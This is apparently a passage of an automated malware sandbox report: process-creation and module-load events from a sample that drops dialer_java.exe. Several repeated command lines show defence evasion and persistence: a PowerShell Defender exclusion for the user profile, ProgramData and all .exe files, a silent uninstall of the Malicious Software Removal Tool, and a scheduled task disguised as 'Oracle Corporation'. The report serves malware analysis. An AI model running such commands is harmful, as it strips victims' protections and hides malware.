Source: C:\Windows\System32\conhost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: unknown unknownJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\System32\choice.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dll
Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
